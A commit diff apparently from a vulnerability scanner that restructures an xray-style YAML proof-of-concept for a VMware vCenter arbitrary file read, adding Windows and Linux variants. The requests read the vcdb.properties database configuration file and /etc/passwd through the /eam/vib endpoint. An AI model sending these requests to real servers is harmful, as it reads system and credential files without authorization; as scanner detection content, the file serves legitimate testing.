优化xray解析模块,支持groups、新增poc

WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml

@@ -1,10 +1,17 @@
 name: poc-yaml-vmware-vcenter-arbitrary-file-read
-rules:
-  - method: GET
-    path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
+groups:
+  win:
+    - method: GET
+      path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
+      follow_redirects: false
+      expression: |
+        response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
+  linux:
+    - method: GET
+      path: /eam/vib?id=/etc/passwd
+      follow_redirects: false
+      expression: |
+        response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
 detail:
   author: MrP01ntSun(https://github.com/MrPointSun)
   links: